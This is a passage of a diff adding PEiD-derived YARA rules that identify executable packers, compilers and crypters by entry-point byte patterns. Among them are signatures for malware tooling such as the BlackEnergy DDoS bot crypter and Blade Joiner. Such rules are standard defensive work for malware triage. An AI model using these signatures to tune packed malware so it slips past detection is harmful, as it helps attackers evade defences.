+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 C0 09 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00291_bambam_V0_04____bedrock_
+{
+    meta:
+        description = "[bambam V0.04 -> bedrock]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? ?? ?? 83 C9 FF 33 C0 68 ?? ?? ?? ?? F2 AE F7 D1 49 51 68 ?? ?? ?? ?? E8 11 0A 00 00 83 C4 0C 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 BF ?? ?? ?? ?? 83 C9 FF 33 C0 F2 AE F7 D1 49 BF ?? ?? ?? ?? 8B D1 68 ?? ?? ?? ?? C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00292_BDC_HelpSystem_Help_file_
+{
+    meta:
+        description = "[BDC HelpSystem Help file]"
+        ep_only = "false"
+    strings:
+        $a = {42 44 43 20 48 65 6C 70 53 79 73 74 65 6D}
+    condition:
+        $a
+}
+
+rule PEiD_00293_beria_v0_07_public_WIP____symbiont__h__
+{
+    meta:
+        description = "[beria v0.07 public WIP -> symbiont (h)]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0 3B F5 74 37 8B 46 0C 3B C5 8B 3D 04 30 ?? ?? 89 2E 89 6E 04 89 6E 08 74 06 50 FF D7 89 6E 0C 8B 46 10 3B C5 74 06 50 FF D7 89 6E 10 8B 46 14 3B C5 74 0A 50 FF D7 89 6E 14 EB 02 33 F6 6A 10 55 89 35 A4 40 ?? ?? FF D3 8B F0 3B F5 74 09 E8 08 12 00 00 8B C6 EB 02 33 C0 8B 48 08 8B 51 04 8B 09 8B 35 30 30 ?? ?? A3 D4 43 ?? ?? 8B 00 03 D0 52 03 C8 51 FF D6 8B 3D 24 30 ?? ?? 50 FF D7}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00294_beria_v0_07_public_WIP____symbiont_
+{
+    meta:
+        description = "[beria v0.07 public WIP -> symbiont]"
+        ep_only = "true"
+    strings:
+        $a = {83 EC 18 53 8B 1D 00 30 ?? ?? 55 56 57 68 30 07 00 00 33 ED 55 FF D3 8B F0 3B F5 74 0D 89 AE 20 07 00 00 E8 88 0F 00 00 EB 02 33 F6 6A 10 55 89 35 30 40 ?? ?? FF D3 8B F0 3B F5 74 09 89 2E E8 3C FE FF FF EB 02 33 F6 6A 18 55 89 35 D8 43 ?? ?? FF D3 8B F0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00295_Berio_1_00_beta__h__
+{
+    meta:
+        description = "[Berio 1.00 beta (h)]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 12 00 00 90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 B0 01 00 83 BD 22 04 00 00 00 89 9D 22 04 00 00 0F 85 65 03 00 00 8D 85 2E 04 00 00 50 FF 95 4D 0F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00296_Berio_2_00_beta__h__
+{
+    meta:
+        description = "[Berio 2.00 beta (h)]"
+        ep_only = "true"
+    strings:
+        $a = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 E9 01 74 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00297_BeRo_Tiny_Pascal____BeRo_
+{
+    meta:
+        description = "[BeRo Tiny Pascal -> BeRo]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? ?? ?? 20 43 6F 6D 70 69 6C 65 64 20 62 79 3A 20 42 65 52 6F 54 69 6E 79 50 61 73 63 61 6C 20 2D 20 28 43 29 20 43 6F 70 79 72 69 67 68 74 20 32 30 30 36 2C 20 42 65 6E 6A 61 6D 69 6E 20 27 42 65 52 6F 27 20 52 6F 73 73 65 61 75 78 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00298_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00299_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00300_BeRoEXEPacker_v1_00__DLL_____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (DLL) -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00301_BeRoEXEPacker_v1_00__LZMA__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 (LZMA)]"
+        ep_only = "true"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00302_BeRoEXEPacker_V1_00____BeRo___Sign_by_fly_
+{
+    meta:
+        description = "[BeRoEXEPacker V1.00 -> BeRo ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00303_BeRoEXEPacker_v1_00____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 -> BeRo / Farbrausch]"
+        ep_only = "false"
+    strings:
+        $a = {60 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 04 00 00 00 8B F9 81 FE ?? ?? ?? ?? 7F 10 AC 47 04 18 2C 02 73 F0 29 3E 03 F1 03 F9 EB E8 BA ?? ?? ?? ?? 8D B2}
+    condition:
+        $a
+}
+
+rule PEiD_00304_BeRoEXEPacker_v1_00____BeRo___Farbrausch_
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 -> BeRo / Farbrausch]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC ?? ?? ?? ?? A4 ?? ?? ?? ?? 00 ?? ?? ?? ?? 33 C9 E8 64 00 00 00 73 1C ?? ?? ?? ?? 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 ?? ?? ?? ?? D4 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00305_BeRoEXEPacker_V1_00____BeRo_
+{
+    meta:
+        description = "[BeRoEXEPacker V1.00 -> BeRo]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74}
+    condition:
+        $a
+}
+rule PEiD_00306_BeRoEXEPacker_v1_00__LZBRR__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRR]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC B2 80 33 DB A4 B3 02 E8 ?? ?? ?? ?? 73 F6 33 C9 E8 ?? ?? ?? ?? 73 1C 33 C0 E8 ?? ?? ?? ?? 73 23 B3 02 41 B0 10}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00307_BeRoEXEPacker_v1_00__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00308_BeRoEXEPacker_v1_00__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00309_BeRoEXEPacker_v1_00_DLL__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 DLL [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 1C 00 00 00 72 03 A4 EB F2 E8 1A 00 00 00 8D 51 FF E8 12 00 00 00 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00310_BeRoEXEPacker_v1_00_DLL__LZBRS__
+{
+    meta:
+        description = "[BeRoEXEPacker v1.00 DLL [LZBRS]]"
+        ep_only = "true"
+    strings:
+        $a = {83 7C 24 08 01 0F 85 ?? ?? ?? ?? 60 BE ?? ?? ?? ?? BF ?? ?? ?? ?? FC AD 8D 1C 07 B0 80 3B FB 73 3B E8 ?? ?? ?? ?? 72 03 A4 EB F2 E8 ?? ?? ?? ?? 8D 51 FF E8 ?? ?? ?? ?? 56 8B F7 2B F2 F3 A4 5E EB DB 02 C0 75 03 AC 12 C0 C3 33}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00311_BGI_Stroked_Font_v_1_1_
+{
+    meta:
+        description = "[BGI Stroked Font v.1.1]"
+        ep_only = "false"
+    strings:
+        $a = {50 4B 08 08 42 47 49 20 53 74 72 6F 6B 65 64 20 46 6F 6E 74 20 56 31 2E 31}
+    condition:
+        $a
+}
+
+rule PEiD_00312_BlackEnergy_DDoS_Bot_Crypter_
+{
+    meta:
+        description = "[BlackEnergy DDoS Bot Crypter]"
+        ep_only = "true"
+    strings:
+        $a = {55 ?? ?? 81 EC 1C 01 00 00 53 56 57 6A 04 BE 00 30 00 00 56 FF 35 00 20 11 13 6A 00 E8 ?? 03 00 00 ?? ?? 83 C4 10 ?? FF 89 7D F4 0F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00313_Blade_Joiner_v1_5_
+{
+    meta:
+        description = "[Blade Joiner v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 C4 E4 FE FF FF 53 56 57 33 C0 89 45 F0 89 85}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00314_BlindSpot_1_0____s134k_
+{
+    meta:
+        description = "[BlindSpot 1.0 -> s134k]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00315_BlindSpot_1_0____s134k_
+{
+    meta:
+        description = "[BlindSpot 1.0 -> s134k]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 50 02 00 00 8D 85 B0 FE FF FF 53 56 A3 90 12 40 00 57 8D 85 B0 FD FF FF 68 00 01 00 00 33 F6 50 56 FF 15 24 10 40 00 56 68 80 00 00 00 6A 03 56 56 8D 85 B0 FD FF FF 68 00 00 00 80 50 FF 15 20 10 40 00 56 56 68 00 08 00 00 50 89 45 FC FF 15 1C 10 40 00 8D 45 F8 8B 1D 18 10 40 00 56 50 6A 34 FF 35 90 12 40 00 FF 75 FC FF D3 85 C0 0F 84 7F 01 00 00 39 75 F8 0F 84 76 01 00 00 A1 90 12 40 00 66 8B 40 30 66 3D 01 00 75 14 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 14 10 40 00 EB 2C 66 3D 02 00 75 14 8D 85 E4 FE FF FF 50 68 04 01 00 00 FF 15 10 10 40 00 EB 12 8D 85 E4 FE FF FF 68 04 01 00 00 50 FF 15 0C 10 40 00 8B 3D 08 10 40 00 8D 85 E4 FE FF FF 68 54 10 40 00 50}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00316_BobPack_v1_00____BoB___BobSoft_
+{
+    meta:
+        description = "[BobPack v1.00 -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 8B 0C 24 89 CD 83 E9 06 81 ED ?? ?? ?? ?? E8 3D 00 00 00 89 85 ?? ?? ?? ?? 89 C2 B8 5D 0A 00 00 8D 04 08 E8 E4 00 00 00 8B 70 04 01 D6 E8 76 00 00 00 E8 51 01 00 00 E8 01 01}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00317_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00318_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00319_BobSoft_Mini_Delphi____BoB___BobSoft_
+{
+    meta:
+        description = "[BobSoft Mini Delphi -> BoB / BobSoft]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00320_BookManager_v9510_
+{
+    meta:
+        description = "[BookManager v9510]"
+        ep_only = "true"
+    strings:
+        $a = {FC A3 ?? ?? 89 1E ?? ?? 49 89 0E ?? ?? BB ?? ?? 8C 1F 83 ?? ?? 89 ?? ?? B8 ?? ?? 50 89 ?? ?? F7 D0 50}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00321_BopCrypt_v1_0_
+{
+    meta:
+        description = "[BopCrypt v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 BD ?? ?? ?? ?? E8 ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00322_Borland_C___Borland_Builder_
+{
+    meta:
+        description = "[Borland C / Borland Builder]"
+        ep_only = "false"
+    strings:
+        $a = {3B CF 76 05 2B CF FC F3 AA 59}
+    condition:
+        $a
+}
+
+rule PEiD_00323_Borland_C___1991_
+{
+    meta:
+        description = "[Borland C++ 1991]"
+        ep_only = "true"
+    strings:
+        $a = {2E 8C 06 ?? ?? 2E 8C 1E ?? ?? BB ?? ?? 8E DB 1E E8 ?? ?? 1F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00324_Borland_C___1992__1994_
+{
+    meta:
+        description = "[Borland C++ 1992, 1994]"
+        ep_only = "true"
+    strings:
+        $a = {8C C8 8E D8 8C 1E ?? ?? 8C 06 ?? ?? 8C 06 ?? ?? 8C 06}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00325_Borland_C___1994_
+{
+    meta:
+        description = "[Borland C++ 1994]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E 89 ?? ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA A3 ?? ?? 8C}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00326_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9}
+    condition:
+        $a
+}
+
+rule PEiD_00327_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00328_Borland_C___DLL_
+{
+    meta:
+        description = "[Borland C++ DLL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 A1 C1 E0 02 A3 8B}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00329_Borland_C___for_Win16_1991_
+{
+    meta:
+        description = "[Borland C++ for Win16 1991]"
+        ep_only = "true"
+    strings:
+        $a = {9A FF FF 00 00 0B C0 75 ?? E9 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? B8 FF FF 50 9A FF FF 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00330_Borland_C___for_Win32_1994_
+{
+    meta:
+        description = "[Borland C++ for Win32 1994]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 83 ?? ?? ?? ?? 75 ?? 57 51 33 C0 BF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00331_Borland_C___for_Win32_1995_
+{
+    meta:
+        description = "[Borland C++ for Win32 1995]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 ?? ?? A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00332_Borland_C___for_Win32_1999_
+{
+    meta:
+        description = "[Borland C++ for Win32 1999]"
+        ep_only = "false"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90}
+    condition:
+        $a
+}
+
+rule PEiD_00333_Borland_C___for_Win32_1999_
+{
+    meta:
+        description = "[Borland C++ for Win32 1999]"
+        ep_only = "true"
+    strings:
+        $a = {EB 10 66 62 3A 43 2B 2B 48 4F 4F 4B 90 E9 ?? ?? ?? ?? A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 52}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00334_Borland_C___
+{
+    meta:
+        description = "[Borland C++]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? C1 E0 02 A3 ?? ?? ?? ?? 57 51 33 C0 BF ?? ?? ?? ?? B9 ?? ?? ?? ?? 3B CF 76 05 2B CF FC F3 AA 59 5F}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00335_Borland_Delphi_3____Portions_Copyright__c__1983_96_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 3 -> Portions Copyright (c) 1983,96 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 36 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00336_Borland_Delphi_3____Portions_Copyright__c__1983_97_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 3 -> Portions Copyright (c) 1983,97 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 37 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00337_Borland_Delphi_5____Portions_Copyright__c__1983_99_Borland__h__
+{
+    meta:
+        description = "[Borland Delphi 5 -> Portions Copyright (c) 1983,99 Borland (h)]"
+        ep_only = "false"
+    strings:
+        $a = {50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 33 2C 39 39 20 42 6F 72 6C 61 6E 64 00}
+    condition:
+        $a
+}
+
+rule PEiD_00338_Borland_Delphi_DLL_
+{
+    meta:
+        description = "[Borland Delphi DLL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 B4 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 40}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00339_Borland_Delphi_Setup_Module_
+{
+    meta:
+        description = "[Borland Delphi Setup Module]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 ?? 53 56 57 33 C0 89 45 F0 89 45 D4 89 45 D0 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00340_Borland_Delphi_v2_0_
+{
+    meta:
+        description = "[Borland Delphi v2.0]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 0A ?? ?? ?? B8 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00341_Borland_Delphi_v3_0_
+{
+    meta:
+        description = "[Borland Delphi v3.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3 55 8B EC 33 C0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00342_Borland_Delphi_v4_0___v5_0_
+{
+    meta:
+        description = "[Borland Delphi v4.0 - v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A 00 E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 00 00 00 00 C7 42 0C 00 00 00 00 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00343_Borland_Delphi_v4_0___v5_0_
+{
+    meta:
+        description = "[Borland Delphi v4.0 - v5.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 ?? ?? ?? ?? C7 42 0C ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00344_Borland_Delphi_v5_0_KOL_
+{
+    meta:
+        description = "[Borland Delphi v5.0 KOL]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 B8 ?? ?? 40 00 E8 ?? ?? FF FF E8 ?? ?? FF FF E8 ?? ?? FF FF 8B C0 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00345_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "true"
+    strings:
+        $a = {53 8B D8 33 C0 A3 00 ?? ?? ?? 06 A0 0E 80 ?? ?? 0F FA 30 ?? ?? ?? 0A 10 ?? ?? ?? 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? 03 3C 0A 30 ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00346_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
+        ep_only = "false"
+    strings:
+        $a = {53 8B D8 33 C0 A3 0? ?? ?? ?0 6A 00 E8 0? ?? ?0 FF A3 0? ?? ?? ?0 A1 0? ?? ?? ?0 A3 0? ?? ?? ?0 33 C0 A3 0? ?? ?? ?0 33 C0 A3 0? ?? ?? ?0 E8}
+    condition:
+        $a
+}
+
+rule PEiD_00347_Borland_Delphi_v6_0___v7_0_
+{
+    meta:
+        description = "[Borland Delphi v6.0 - v7.0]"
